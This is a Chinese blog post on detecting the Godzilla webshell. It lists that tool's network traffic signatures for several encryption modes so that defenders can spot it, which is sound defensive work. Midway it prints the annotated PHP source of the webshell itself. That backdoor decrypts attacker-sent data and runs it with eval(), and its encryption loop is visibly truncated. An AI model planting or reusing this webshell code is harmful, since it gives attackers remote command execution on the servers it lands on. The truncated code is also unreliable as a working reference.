哥斯拉流量特征

哥斯拉流量特征

.php:

eval_xor_base64加密格式下连接时会发送三个数据包:

首包post数据挺大,返回包内容为空。且包中的eval函数和base64加密函数挺明显

剩下两个包请求体小,一个返回数据为加密后的ok,最后一个是返回加密后目标的基本环境信息。

发送的数据包请求体特征为两个参数pass=和key=,这两个参数应该是对应木马生成时设置的密码和密钥。

特征总结(使用的狐狸说安全的哥斯拉工具):

1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)

2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)

3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)

4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

参考:https://bbs.deepin.org/post/271510

哥斯拉明文php代码:

@session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息

@set_time_limit(0); // 设置脚本执行时间不限制

@error_reporting(0); // 设置错误报告级别为 0,即不报告任何错误

function encode($D,$K){

for($i=0;$i

$c = $K[$i+1&15]; // 根据密钥中的字符来加密数据

$D[$i] = $D[$i]^$c; // 使用异或操作进行加密

}

return $D; // 返回加密后的数据

}

$pass='key'; // 密钥参数名 客户端设置

$payloadName='payload'; // 载荷参数名

$key='3c6e0b8a9c15224a'; // 加密密钥

if (isset($_POST[$pass])){ // 检查 POST 请求中是否包含了密钥参数 kay

$data=encode(base64_decode($_POST[$pass]),$key); // 解码并加密传入的数据

if (isset($_SESSION[$payloadName])){ // 检查会话中是否存在载荷数据

$payload=encode($_SESSION[$payloadName],$key); //解码 输出

if (strpos($payload,"getBasicsInfo")===false){ // 检查载荷中是否包含指定字符串

$payload=encode($payload,$key); // 判断是否被解码,如果否,解码

}

eval($payload); // 执行载荷中的 PHP 代码

echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分

echo base64_encode(encode(@run($data)/**这时候经过了gzip编码**/,$key)); // 对传入的数据运行,并将结果加密后输出

echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分

}else{

if (strpos($data,"getBasicsInfo")!==false){ // 检查传入的数据中是否包含指定字符串

$_SESSION[$payloadName]=encode($data,$key); // 将传入的数据加密后存入会话中

}

}

}

xor_RAW加密格式:

php中xor_RAW加密格式的流量更加隐蔽,全部是不可识别的字符

连接时一样会发送三个数据包,且后两个数据包比默认的base64加密方式简短很多,且乱码。数据包中看不出参数与密钥对应结构是多少。

特征除了乱码外,与eval_xor_base64一样。

1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)

2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)

3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)

xor_base64加密方式:

基本特征不变:连接时发送三个数据包,首包请求体较大,后两个包请求体较小,请求体中参数名称就是生成时设置的pass。

后两个数据包比默认的base64加密方式简短很多。

1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)

2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)

3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)

4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

总结:

1.User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。(抓取的流量中该特征已经更改)

2. Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。(抓取的流量中该特征已更改为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)

3. Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。(该特征未更改)

4. 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

5.基本上无论哥斯拉生成的什么语言的木马(php,asp,jsp,cs),连接时都是发送三个数据包,第一个数据包请求体明显大量,后两个明显较小,且第二个数据包返回内容为加密后的ok,第三个数据包返回内容为目标的基本环境信息。

6.哥斯拉流量中除了xor_raw加密方式(该方式流量中全是乱码),基本上都会呈现出形如pass=WwSelqL9JENiXyh3的格式,该格式下参数名为生成木马时设置的pass。xor_raw外的一些加密方式(eval_base64)会在流量中看出eval和base64加密函数。

🌸 相关推荐 🌸

GTA5地堡怎么选择 11个地堡位置以及价格一览
matlab - 如何在matlab中设置uipanel大小并在uipanel中添加滑块?
周润发:以赤子之心践行公益承诺,用56亿裸捐诠释人生大爱